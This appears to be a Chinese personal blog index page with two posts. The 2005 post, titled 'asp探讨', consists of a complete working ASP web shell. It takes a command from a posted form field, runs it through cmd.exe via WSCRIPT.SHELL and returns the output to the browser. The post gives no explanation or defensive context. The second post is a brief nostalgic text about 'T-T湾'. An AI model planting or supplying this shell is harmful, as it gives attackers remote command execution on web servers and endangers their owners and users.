welunzhu

2005/04/08

asp探讨

<%@ Language=VBScript %> <% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next ' -- create the COM objects that we will be using -- ' Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") ' -- check for a command that we have posted -- ' szCMD = Request.Form(".CMD") If (szCMD <> "") Then ' -- Use a poor man's pipe ... a temp file -- ' szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %>

<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>


            阅读全文...

        


        

          welunzhu
          发表于
          2005-04-08 15:32  
          阅读(
            286)

            评论(
              0)

          引用(
            0)

            T-T湾

        






          

            2004/12/13
          

        

          怀念+愉悦+美好=T-T湾
        
        

          T-T 湾

永远的T-T湾

永远的回忆

永远的我

T-T 湾
            阅读全文...

        

        

          welunzhu
          发表于
          2004-12-13 14:21  
          阅读(
            1035)

            评论(
              2)

          引用(
            0)

            T-T湾

        





 

      

        


        上一页

          1


        下一页